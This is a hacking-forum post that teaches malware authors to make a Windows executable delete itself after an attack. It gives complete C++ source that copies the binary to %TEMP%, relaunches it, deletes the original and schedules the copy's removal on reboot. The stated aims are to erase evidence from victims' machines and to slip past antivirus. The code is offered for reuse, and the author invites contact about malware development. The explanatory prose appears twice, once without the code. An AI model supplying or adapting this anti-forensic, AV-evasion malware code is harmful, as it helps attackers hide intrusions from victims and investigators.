05-30-2023, 11:08 PM
TL;DR: A solution of self destructing executable which doesn't create external script file or creating any shell process,
and can pass most AV's dynamic analyze.
When you're designing a malware which is aimed at hit-and-run or info-extraction,
we all wanna clear up all the shit that we left on the targets machine, including all the shits you created for the execution or data exchange on the system,
removing all evidence which might signaling them that "something had been wrong on your pc".
Among removing sub-files which you created to cover the track of your malware,
we all wanted to have our malware (I mean the executable itself) to be removed completely on the system,
without leaving any suspicious helper executable or interpreter-based script file (like batch or wscript) leaving behind in any location of the drive,
signaling them the possibility of compromise.
To sum up,
we're designing a program:
1. Only rely on itself to delete itself
2. Doing it elegantly, Not leaving any "helper" file behind on system
3. Not creating external interpreter-based file, since it's a common techniques used by malware, and a RED FLAG for AV.
4. Doesn't seems to be malicious to AV
The Idea I come up with is creating a function which can invoke the executable again, but made it to be parsed differently in the process and performing the self deletion task.
And we're gonna copy the whole executable to %TEMP% folder, in order to have another create another instance of the current executable to be invoked,
which will be designed to delete the original executable of the malware (current process), and scheduling the temporary executable's deletion on system reboot,
and it's done by making an entry in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations,
instructing Windows to delete or move the temporary executable file the next time the system starts up.
BTW,
the scheduling self remove techniques is also use by some legitimate commercial software which want to delete their temporary file after usage,
so it will be mostly not be flag as malicious than creating a batch file and invoking it,
or creating sub-process running cmd.exe or powershell.exe
I know you some of you guys might be curious why not creating another instance of process of the malware in %TEMP%,
by using CreateFileEx() to open the copy with GENERIC_READ | GENERIC_WRITE and setting the flag FILE_FLAG_DELETE_ON_CLOSE.
letting CreateProcess() to inherit this handle, and having the executable itself to be deleted when the process exit. (handle close, trigger file deletion of owner)
This approach might sound valid, but it will eventually fail on Windows, due to the behavior of File Locking Mechanism.
If the file handle has been opened with FILE_FLAG_DELETE_ON_CLOSE, the file would be marked for deletion when the handle is closed,
which would prevent CreateProcess() from successfully starting a new process from the file,
resulting failure in this scheme.
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
So, for code implementation,
we're gonna implement the self deleting function like this:
BTW,
the reson why I'm renaming the extension of the executable we copied to %TEMP% after invoking CopyFileW() is due to the security measures on Windows,
which will automatically alter all file extension to .tmp when a new file has been copied in the directory on default.
so we're gonna change it back so we can invoke the executable successfully.
On the other hand, we're gonna invoke the Suicide() function in main() like this way:
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
In conclusion,
So the final code we're having is like:
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Hope this helps.
Feel free to use my code or reference it in your project,
and if you're interested in MalDev related knowledge or wanna discuss with me UwU
just add my jabber account: kirakira@lake.money
and can pass most AV's dynamic analyze.
When you're designing a malware which is aimed at hit-and-run or info-extraction,
we all wanna clear up all the shit that we left on the targets machine, including all the shits you created for the execution or data exchange on the system,
removing all evidence which might signaling them that "something had been wrong on your pc".
Among removing sub-files which you created to cover the track of your malware,
we all wanted to have our malware (I mean the executable itself) to be removed completely on the system,
without leaving any suspicious helper executable or interpreter-based script file (like batch or wscript) leaving behind in any location of the drive,
signaling them the possibility of compromise.
To sum up,
we're designing a program:
1. Only rely on itself to delete itself
2. Doing it elegantly, Not leaving any "helper" file behind on system
3. Not creating external interpreter-based file, since it's a common techniques used by malware, and a RED FLAG for AV.
4. Doesn't seems to be malicious to AV
The Idea I come up with is creating a function which can invoke the executable again, but made it to be parsed differently in the process and performing the self deletion task.
And we're gonna copy the whole executable to %TEMP% folder, in order to have another create another instance of the current executable to be invoked,
which will be designed to delete the original executable of the malware (current process), and scheduling the temporary executable's deletion on system reboot,
and it's done by making an entry in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations,
instructing Windows to delete or move the temporary executable file the next time the system starts up.
BTW,
the scheduling self remove techniques is also use by some legitimate commercial software which want to delete their temporary file after usage,
so it will be mostly not be flag as malicious than creating a batch file and invoking it,
or creating sub-process running cmd.exe or powershell.exe
I know you some of you guys might be curious why not creating another instance of process of the malware in %TEMP%,
by using CreateFileEx() to open the copy with GENERIC_READ | GENERIC_WRITE and setting the flag FILE_FLAG_DELETE_ON_CLOSE.
letting CreateProcess() to inherit this handle, and having the executable itself to be deleted when the process exit. (handle close, trigger file deletion of owner)
This approach might sound valid, but it will eventually fail on Windows, due to the behavior of File Locking Mechanism.
If the file handle has been opened with FILE_FLAG_DELETE_ON_CLOSE, the file would be marked for deletion when the handle is closed,
which would prevent CreateProcess() from successfully starting a new process from the file,
resulting failure in this scheme.
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
So, for code implementation,
we're gonna implement the self deleting function like this:
Code:
// Code by KIARA@OnniForums.com, 05/30/23
// DESC: process and exectable self destruct
void Suicide(void){
DWORD error_code{0};
int size{0}, unique_id{0}, status{0};
HANDLE tmp_hdlr{nullptr};
STARTUPINFOW startup_info{};
PROCESS_INFORMATION process_info{};
WCHAR *exe_filepath{nullptr}, *tmp_path{nullptr}, tmp_filepath[MAX_PATH]{}, rename_filepath[MAX_PATH]{}, commandline[MAX_PATH]{};
// get current executable's path
SetLastError(ERROR_SUCCESS); // reset status
do {
delete[] exe_filepath;
exe_filepath = new WCHAR[size + 1]; // add 1 for null termination
GetModuleFileNameW(0, exe_filepath, size++);
} while (GetLastError() == ERROR_INSUFFICIENT_BUFFER);
// get system's tmporary dir path
size = 0;
size = GetTempPathW(size, nullptr); // Get required buffer size
tmp_path = new WCHAR[size];
GetTempPathW(size, tmp_path);
// create a temprary file name
do {
size = GetTempFileNameW(tmp_path, L"KRA", unique_id, tmp_filepath);
unique_id++;
} while (size == 0);
// create a copy of the current executable in temporary dir
CopyFileW(exe_filepath, tmp_filepath, FALSE);
// rename the extension back, since copyfile will fuckup the exe extension
size = wcslen(tmp_filepath);
wcscat_s(rename_filepath, MAX_PATH, tmp_filepath);
rename_filepath[size - 4] = L'\0';
wcscat_s(rename_filepath, MAX_PATH, L".exe");
MoveFileW(tmp_filepath, rename_filepath);
// start self delete process from the new exe in temporary dir
wcscat_s(commandline, MAX_PATH, rename_filepath);
wcscat_s(commandline, MAX_PATH, L" ");
wcscat_s(commandline, MAX_PATH, exe_filepath);
startup_info.cb = sizeof(STARTUPINFOW);
// start process
status = CreateProcessW(nullptr, commandline, nullptr, nullptr, TRUE, NORMAL_PRIORITY_CLASS, nullptr, nullptr, &startup_info, &process_info); // start process
error_code = GetLastError();
// show status of new started process for debug usage
std::cout << "[TRACE] New process has been created with following details: " << std::endl << std::endl;
std::wcout << "- CommandLine: " << commandline << std::endl;
std::cout << "- Process Creation Status: " << std::boolalpha << (bool)status << std::endl;
std::cout << "- Error Code: " << error_code << std::endl;
// give you guys 10 sec to read the process creation details
Sleep(10000);
// clean up all the shit
delete[] exe_filepath;
delete[] tmp_path;
return;
}
BTW,
the reson why I'm renaming the extension of the executable we copied to %TEMP% after invoking CopyFileW() is due to the security measures on Windows,
which will automatically alter all file extension to .tmp when a new file has been copied in the directory on default.
so we're gonna change it back so we can invoke the executable successfully.
On the other hand, we're gonna invoke the Suicide() function in main() like this way:
Code:
// Code by KIARA@OnniForums.com, 05/30/23
// EP
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
int argc{0}, error_code{0};
LPWSTR *argv{nullptr};
// init
Set_Console();
argv = CommandLineToArgvW(GetCommandLineW(), &argc);
// normal mode => no arguments (argc == 1)
if (argc == 1) {
std::cout << "[INFO] The process has starting on normal mode." << std::endl;
std::cout << "[INFO] Triggering suicide mode in 5 seconds......" << std::endl << std::endl;
Sleep(5000);
// self destruct start
Suicide();
} else { // sucide mode => have arguments (argc > 1)
std::cout << "[INFO] The process has started in suicide mode." << std::endl << std::endl;
Sleep(15000); // giving the caller 15 seconds delay to exit completely before killing it
// remove file
DeleteFileW(argv[1]); // delete the caller file (original executable on disk)
error_code = MoveFileExW(argv[0], nullptr, MOVEFILE_DELAY_UNTIL_REBOOT); // schedule tmp file deletion on next system reboot
// show status for debugging
std::cout << "[INFO] Self Delete Scheduling: " << std::boolalpha << (bool)error_code << std::endl;
Sleep(5000); // gives you 5 sec to read it
}
// program exit
ExitProcess(0);
}
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
In conclusion,
So the final code we're having is like:
Code:
// Code by KIARA@OnniForums.com, 05/30/23
#include <limits>
#include <iostream>
#include <iomanip>
#include <windows.h>
// prototype declaration
void Suicide(void);
void Set_Console(void);
// EP
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
int argc{0}, error_code{0};
LPWSTR *argv{nullptr};
// init
Set_Console();
argv = CommandLineToArgvW(GetCommandLineW(), &argc);
// normal mode => no arguments (argc == 1)
if (argc == 1) {
std::cout << "[INFO] The process has starting on normal mode." << std::endl;
std::cout << "[INFO] Triggering suicide mode in 5 seconds......" << std::endl << std::endl;
Sleep(5000);
// self destruct start
Suicide();
} else { // sucide mode => have arguments (argc > 1)
std::cout << "[INFO] The process has started in suicide mode." << std::endl << std::endl;
Sleep(15000); // giving the caller 15 seconds delay to exit completely before killing it
// remove file
DeleteFileW(argv[1]); // delete the caller file (original executable on disk)
error_code = MoveFileExW(argv[0], nullptr, MOVEFILE_DELAY_UNTIL_REBOOT); // schedule tmp file deletion on next system reboot
// show status for debugging
std::cout << "[INFO] Self Delete Scheduling: " << std::boolalpha << (bool)error_code << std::endl;
Sleep(5000); // gives you 5 sec to read it
}
// program exit
ExitProcess(0);
}
// DESC: process and exectable self destruct
void Suicide(void){
DWORD error_code{0};
int size{0}, unique_id{0}, status{0};
HANDLE tmp_hdlr{nullptr};
STARTUPINFOW startup_info{};
PROCESS_INFORMATION process_info{};
WCHAR *exe_filepath{nullptr}, *tmp_path{nullptr}, tmp_filepath[MAX_PATH]{}, rename_filepath[MAX_PATH]{}, commandline[MAX_PATH]{};
// get current executable's path
SetLastError(ERROR_SUCCESS); // reset status
do {
delete[] exe_filepath;
exe_filepath = new WCHAR[size + 1]; // add 1 for null termination
GetModuleFileNameW(0, exe_filepath, size++);
} while (GetLastError() == ERROR_INSUFFICIENT_BUFFER);
// get system's tmporary dir path
size = 0;
size = GetTempPathW(size, nullptr); // Get required buffer size
tmp_path = new WCHAR[size];
GetTempPathW(size, tmp_path);
// create a temprary file name
do {
size = GetTempFileNameW(tmp_path, L"KRA", unique_id, tmp_filepath);
unique_id++;
} while (size == 0);
// create a copy of the current executable in temporary dir
CopyFileW(exe_filepath, tmp_filepath, FALSE);
// rename the extension back, since copyfile will fuckup the exe extension
size = wcslen(tmp_filepath);
wcscat_s(rename_filepath, MAX_PATH, tmp_filepath);
rename_filepath[size - 4] = L'\0';
wcscat_s(rename_filepath, MAX_PATH, L".exe");
MoveFileW(tmp_filepath, rename_filepath);
// start self delete process from the new exe in temporary dir
wcscat_s(commandline, MAX_PATH, rename_filepath);
wcscat_s(commandline, MAX_PATH, L" ");
wcscat_s(commandline, MAX_PATH, exe_filepath);
startup_info.cb = sizeof(STARTUPINFOW);
// start process
status = CreateProcessW(nullptr, commandline, nullptr, nullptr, TRUE, NORMAL_PRIORITY_CLASS, nullptr, nullptr, &startup_info, &process_info); // start process
error_code = GetLastError();
// show status of new started process for debug usage
std::cout << "[TRACE] New process has been created with following details: " << std::endl << std::endl;
std::wcout << "- CommandLine: " << commandline << std::endl;
std::cout << "- Process Creation Status: " << std::boolalpha << (bool)status << std::endl;
std::cout << "- Error Code: " << error_code << std::endl;
// give you guys 10 sec to read the process creation details
Sleep(10000);
// clean up all the shit
delete[] exe_filepath;
delete[] tmp_path;
return;
}
// DESC: give the program a console for debugging
void Set_Console(void) {
AllocConsole();
freopen("CONIN$", "r", stdin);
freopen("CONOUT$", "w", stdout);
freopen("CONOUT$", "w", stderr);
return;
}
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Hope this helps.
Feel free to use my code or reference it in your project,
and if you're interested in MalDev related knowledge or wanna discuss with me UwU
just add my jabber account: kirakira@lake.money
Bad things comes to those who waits......